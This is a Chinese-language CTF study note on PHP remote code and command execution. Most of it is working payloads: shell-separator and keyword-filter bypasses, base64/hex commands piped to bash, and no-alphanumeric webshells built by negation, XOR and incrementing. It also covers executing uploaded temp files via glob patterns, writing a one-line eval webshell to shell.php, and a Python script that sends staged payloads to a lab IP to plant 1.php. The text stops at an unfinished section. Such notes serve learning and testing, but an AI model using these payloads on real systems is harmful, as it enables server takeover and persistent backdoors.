远程命令执行

RCE

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

后端漏洞

原理

一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过”自动化运维平台”进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。 远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞

系统命令执行函数

system() 能将字符串作为OS命令执行,且返回命令执行结果

passthru() 能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输

​ 出到标准输出设备上

shell_exec() 能将字符串作为OS命令执行

exec() 能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显)

shell_exec() 能将字符串作为OS命令执行

popen() 打开进程文件指针

proc_open() 与popen()类似

pcntl_exec() 在当前进程空间执行指定程序

代码执行函数

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数: 若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数

​ 执行

绕过

管道符

Linux:

管道符 实例 描述
; A;B 无论真假,A与B都执行
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A
| A|B 显示B的执行结果
|| A||B A为假时才执行B,否则只执行A

Windows:

管道符 实例 描述
| A|B 显示B的执行结果
|| A||B A为假时才执行B,否则只执行A
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A

空格过滤

以下可代替空格
< <> %20(即space)
%09(即tab) $IFS$9 ${IFS}
$IFS {cat,/flag}

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

关键字过滤

比如说禁用了cat ls flag等

\绕过

c\at /flag

l\s /

单引号绕过

c’’at flag

l’’s /

双引号绕过

c””at flag

l””s /

Shell 特殊变量绕过

ca$@t flag

变量拼接

b=ag

cat /fl$b

读flag

eval(var_dump(file_get_contents($_POST[‘a’])););&a=/flag

_过滤

php8以下,变量名中的第一个非法字符[会被替换为下划线_

e_v.a.l==>e[v.a.l

php标签过滤

?><?= phpinfo(); ?>

<? ?>等价于<?php ?>

<?= >等价于<?php echo ?>

编码绕过

可以使用各种编码进行绕过

base64编码绕过,编码cat /flag,反引号、| bash、$()用于执行系统命令
echo Y2F0IC9mbGFn | base64 -d`
echo Y2F0IC9mbGFn | base64 -d | bash
$(echo Y2F0IC9mbGFn | base64 -d)

hex编码绕过,编码cat /flag,| bash用于执行系统命令
echo ‘636174202f666c6167’ | xxd -r -p | bash

shellcode编码
十六进制编码

正则匹配的绕过

cat /f???

cat /fl*

cat /f[a-z]{3}

其他绕过

cat替换命令

more less cat tac
head tail vi vim
nl od sort uniq
tac 与cat相反,按行反向输出
more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件,od -A d -c /flag转人可读字符
xxd 以二进制方式读文件,同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file 报错文件内容
grep 过滤查找字符串,grep flag /flag

回溯绕过

//php正则的回溯次数大于1000000次时返回False
$a = 'hello world'+'h'*1000000
preg_match("/hello.*world/is",$a) == False

函数绕过

image-20240329233618962

system(current(getallheaders()));

gettallheaders()将报文头信息转为数组返回
current()将数组当前元素返回(默认指向第一个元素)
因此我们只需在报文头最前面添加一个执行命令即可

passthru

例如:eval('echo '.$str.';');

$Str=passthru(chr(108).chr(115).chr(32).chr(47));(等于`ls /`)

scandir

var_dump(scandir(chr(47)));       (chr(47)==/,该命令会显示根目录下的文件)

var_dump(scandir(‘./’)) 查看上级目录来查看当前文件名
eval(var_dump(scandir('/'););读根目录:

glob

glob("*")  匹配任意文件
glob("*.txt") 匹配以txt为后缀的文件

所以也可以使用:
?cmd=print_r(glob("*"));

嵌套绕过

?c=eval($_GET[1]);&1=system('tac flag.php');

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
还有get_defined_vars()的形式

?c=include/require$_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php 伪协议的嵌套

分号绕过

假如过滤分号

那么可以直接 ?> 闭合php( ?> 闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的。除此以外,php代码最后一句可以不用加分号,可以绕过分号的过滤)


如下面代码所示
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

数组绕过

preg_match()遇到数组会直接返回flase。

$a[]='flag.php';

$a=array('flag.php');

$a=['flag.php'];

取反绕过

取反符号~,用的字符不会触发正则表达式

//取反传参
<?php

$a = "system";
$b = "cat /flag";

$c = urlencode(~$a);
$d = urlencode(~$b);

//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>
<?php  //在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
?>

例:

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

如果要绕过正则RCE,我们可以采用url取反绕过,如:

?code=(~%8F%97%8F%96%91%99%90)();
# %8F%97%8F%96%91%99%90 : phpinfo

image-20240330111337425

  • 这里还利用了一点是:对于PHP,形如 (func_name)(),其中func_name可以是字符串,会执行这个func

  • 这里相当于执行了:

    phpinfo()

image-20240330112128952

但是

上述代码取反后应该是(system)(ls); 并不是正常的system(ls);

所以如果直接执行phpinfo() 是不会被执行的

?code=(~%8F%97%8F%96%91%99%90%D7%D6);
# %8F%97%8F%96%91%99%90%D7%D6 : phpinfo()
  • (~%8F%97%8F%96%91%99%90%D7%D6);被当作代码执行时的第一步就是取反操作 ~
  • 但是取反得到的字符串 phpinfo()并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是 phpinfo()

所以:

对于已知过滤条件,想要执行我们指定的代码,必须有 (func_name)()这样的形式

那么想用蚁剑这样的工具的话,需要让其执行我们POST提交的数据,由问题1可以知道,若构造:

?code=(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
# %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]

这样是不能得到执行结果的

(func_name)()这样的形式,去执行 ("assert")("$_POST[shell]") 构造payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
# %9E%8C%8C%9A%8D%8B : assert
# %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]

但是也是执行不成功

原因:

  1. 第一层eval:首先 (~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2); 先会执行取反函数,得到 ("assert")("$_POST[shell]")
  2. 第二层assert:注意第二个括号里其实还是字符串,并不是真正的 $_POST[shell] 代码。PHP在解释的时候会找到名为assert的函数,assert会把 $_POST[shell] 变成真正的PHP代码。也就是说现在可以传参过来了,但是却没有执行。

那么要想要执行 $_POST[shell],还要在在前面追加一个 eval

?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
# %9E%8C%8C%9A%8D%8B : assert
# %9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6 : eval($_POST[shell])

可以执行

  1. 第一层eval:首先 (~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6); 先会执行取反函数,得到 ("assert")("eval($_POST[shell])")
  2. 第二层assert:将字符串 "eval($_POST[shell])" 看作php代码执行
  3. 第三层eval:将 $_POST[shell] 传来的数据看作代码执行

异或绕过

在 PHP 中两个字符串异或之后,得到的还是一个字符串。原理是转换为二进制进行异或。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。

异或(XOR)是一种逻辑运算,它的原理如下:

符号表示: 异或运算用符号 ^ 表示。

定义: 对于两个二进制位,如果相应位相同则结果为 0,如果相应位不同则结果为 1。

下面是异或运算的真值表:

A B A XOR B
0 0 0
0 1 1
1 0 1
1 1 0

对于整个二进制数,异或运算会对每一位进行独立的操作。

异或的性质:

交换律: A XOR B 等于 B XOR A
结合律: (A XOR B) XOR C 等于 A XOR (B XOR C)
自反性: A XOR A 等于 0
零元素: A XOR 0 等于 A

# 异或构造Python脚本
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = input('输入异或构造的字符串:')

tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if ord(i) ^ ord(j) == ord(c):
tmp1 += i
tmp2 += j
break
else:
continue
break

print(f'"{tmp1}"^"{tmp2}"')

phpinfo "0302181"^"@[@[_^^"
//异或php脚本

<?php
$a='phpinfo';
for ($i = 0;$i <strlen($a);$i++)
echo '%'.dechex(ord($a[$i])^0xff);
echo "^";
for ($j=0;$j<strlen($a);$j++)
echo '%ff';
?>

//输出:%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff
<?php
$myfile = fopen("res.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

先用该脚本生成所有字符异或后的结果,用于下一个脚本的使用。

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("res.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
<?php

// 命令行运行:php yihuo.php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

都是异或脚本

例:

//简单例题,flag再phpinfo()中,需要执行php命令:phpinfo();

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);


//构造payload,字符串phpinfo异或结果为"0302181"^"@[@[_^^"

mess=$_="0302181"^"@[@[_^^";$_();

或绕过

原理和异或绕过类似,只不过用的是|运算符。

import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' #正则过滤的内容
str1=["system","dir"]
for p in range(2):
t1 = ""
t2 = ""
for k in str1[p]:
for i in range(256):
for j in range(256):
if re.search(pattern,chr(i)) :
break
if re.search(pattern,chr(j)) :
continue
if i < 16:
hex_i = "0" + hex(i)[2:]
else:
hex_i=hex(i)[2:]
if j < 16:
hex_j="0"+hex(j)[2:]
else:
hex_j=hex(j)[2:]
hex_i='%'+hex_i
hex_j='%'+hex_j
c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
if(c ==k):
t1=t1+hex_i
t2=t2+hex_j
break
else:
continue
break
print("(\""+t1+"\"|\""+t2+"\")")

自增绕过

在编程中,自增操作是指将一个变量的值增加1

$number = 10;
$number++; // 自增操作
echo $number; // 输出 11

自增操作也可以应用于字母

$letter = 'a';
$letter++; // 自增操作
echo $letter; // 输出 'b'

‘a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();

一样的:
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])

输出重定向:

image-20240329223733390

可以写马

echo -e "<?php @eval(\$_POST['test']);?>" > shell.php

无字母数字RCE

[工具](ProbiusOfficial/bashFuck: exec BashCommand with only ! # $ ‘ ( ) < \ { } just 10 charset used in Bypass or CTF (github.com))

例1:

<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);

异或、取反、自增、临时文件上传;都可以

思路

首先,明确思路。我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。

那么,变换方法 将是解决本题的要点。

不过在此之前,我需要说说php5和7的差异。

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

下文为了方便起见,使用PHP5作为环境

法1

这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

其实很像自增的感觉

image-20240331113232883

法2

取反

用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

image-20240331113325366

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

image-20240331113423181

这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

法3

自增

image-20240331113605706

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

image-20240331113652179

再取这个字符串的第一个字母,就可以获得’A’了。

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

image-20240331113925903

例2(进阶):

<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

根据上题 其中有两个主要的思路:

  1. 利用位运算
  2. 利用自增运算符

相较于正常的(上面的)无字母数字RCE

这道题多了两个限制:

  1. webshell长度不超过35位
  2. 除了不包含字母数字,还不能包含$_

因为$不能使用了,所以我们无法构造PHP中的变量 所以上述方法无法进行

所以 这里其实有一种新方法

这里重点说一下临时文件上传

PHP7下简单解决

我们将上述代码放在index.php中,然后执行docker run --rm -p 9090:80 -v pwd:/var/www/html php:7.2-apache,启动一个php 7.2的服务器。

php7中修改了表达式执行的顺序

image-20240331120445300

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

(~%8F%97%8F%96%91%99%90)();

image-20240331120819058

PHP5下理解

PHP5下思考

我们使用docker run --rm -p 9090:80 -v pwd:/var/www/html php:5.6-apach来运行一个php5.6的web环境。

此时,我们尝试用PHP7的payload,将会得到一个错误:

image-20240331120800881

原因就是php5并不支持这种表达方式。

大部分语言都不会是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互。操作系统里包含的最重要的两个功能就是“shell(系统命令)”和“文件系统”,很多木马与远控其实也只实现了这两个功能。

PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。那么,在使用PHP无法解决问题的情况下,为何不考虑用“反引号”+“shell”的方式来getshell呢?

PHP5+shell打破禁锢

因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$的系统命令来getshell?

好像问题又回到了原点:无字母、数字、$,在shell中仍然是一个难题。

此时我想到了两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

这儿主要介绍php.ini中的两个参数

file_uploads 是否允许上传
upload_tmp_dir 是默认的临时文件的保存目录(linux默认为/tmp

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

image-20240331121547675

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

image-20240331121610564

可见,我们要执行的/tmp/phpcjggLC排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。

思路又陷入了僵局,虽然方向没错。

深入理解glob通配符

大部分同学对于通配符,可能知道的都只有*?。但实际上,阅读Linux的文档,可以学到更多有趣的知识点。

其中,glob支持用[^x]的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts

image-20240331121817617

排除了第4个字符是-的文件,同样我们可以排除包含.的文件:

image-20240331121926648

现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。

继续阅读glob的帮助,发现另一个有趣的用法:

image-20240331122049924

就跟正则表达式类似,glob支持利用[0-9]来表示一个范围。

我们再来看看之前列出可能干扰我们的文件:

image-20240331122112426

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

ascii

那么,我们可以利用[@-[]来表示大写字母:

image-20240331122316557

显然这一招是管用的。

构造POC 执行任意命令

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后,我传入的code为?><?=. /???/????????[@-[];?>,发送数据包如下:

image-20240331122439548

成功执行任意命令。

import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)

除这些之外我们还可以这样用${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo其中"%86%86%86%86^%d9%c1%c3%d2"为构造出的_GET,适合于过滤了引号的情况下使用。

限制长度RCE

15字符下可控

<?php
highlight_file(__FILE__);
if(strlen($_GET[1])<15){
echo strlen($_GET[1]);
echo shell_exec($_GET[1]);
}else{
exit('too long');
}

因为只能传入14个字符,但是没有限制命令执行的次数,所以我们的思想可以通过Linux下的>符号与>>符号写入一段一句话木马到指定文件。

<?php
eval(
$_GET
[1]
);

经测试上述这样的一句话木马(经过换行)是可以命令执行的,所以我们可以通过传参构造出这样的一句话木马,不断传入以下Payload:

image-20240331192116873

7字符下可控

<?php 
highlight_file(__FILE__);
if(strlen($_GET[1]<7)){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>

我们可以使用touch来生成文件,然后将生成的文件名拼凑成一句命令,最后执行,达到目的

<-- cat flag.php -->
替换:
touch "hp"
touch "g.p\\"
touch "la\\"
touch "t f\\"
touch "ca\\"
ls -t
ls -t >a 将 ls -t 内容写入到a文件中
sh a

\是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行

同理:

>和>>:

>b 类似于touch b,即直接创建文件b,通过>来将命令执行结果写入文件会覆盖掉文件原本的内容

echo kuai > a #创建文件a,并把字符串'kuai'写入到文件a里

>>用来追加内容

kuai >>a #在文件a末尾追加字符串'kuai'

ls -t命令:按时间顺序,由近及远排序(后创建的排在前面,只能精确到秒)

由此:

#>ag
#>fl
#>"t"
#>ca
#ls -t
ca 't ' fl ag

按时间顺序反向依次创建文件,”ca” “‘t “ “fl” “ag”

再通过ls -t > x,创建文件x,并把’Is -t执行结果写入文件x里 。

实际上在创建文件时,加入”",把命令”ca””t””f””ag”连接起来

  • “\” linux中可以用\使指令连接下一行,这样就可以写多行命令了。

  • 文件中前面命令出错,会自动跳过,不影响后面命令的执行。

  • Shell 脚本的执行方式通常有如下三种

​ bash script-name 或者 sh script-name;

​ path/script-name或者./script-name;

​ sourcescript-name或者. script-name。

推荐用第一种 bash file sh file 第三种. file 第二种要文件有执行权限故不推荐

上面不是ls -t>a 吗

cat a     查看后发现都写进去了

然后可以.a执行脚本

可以发现确实符合第四条 文件中前面命令出错,会自动跳过,不影响后面命令的执行。

可以发现最长的长度就是 ls -t>0 7了

上点难度假如要执行 echo Y2F0IC9mbGFn|base64 -d>1 怎么办?(Y2F0IC9mbGFn -> cat /flag)

#写入语句
<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

payload.txt

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

脚本:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests

url = "http://172.19.14.20:27444/index.php?rce={0}"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

# 检查是否攻击成功
test = requests.get("http://172.19.14.20:27444/1.php")
if test.status_code == requests.codes.ok:
print("[*]Attack success!!!")

攻击完成后就会生成1.php文件

注:这里用的是<?php eval($_GET[1]); 不是一句话木马,不能用蚁剑链接(可能改成POST就行了,不过没有尝试)

命令里的空格,> ,| ,或者其他特殊字符一定要转义。

5字符下可控

与7字符下可控一样

主要思路是缩短 ls -t>0 这一步骤的长度,把这条命令拆分到各个文件中去

<?php
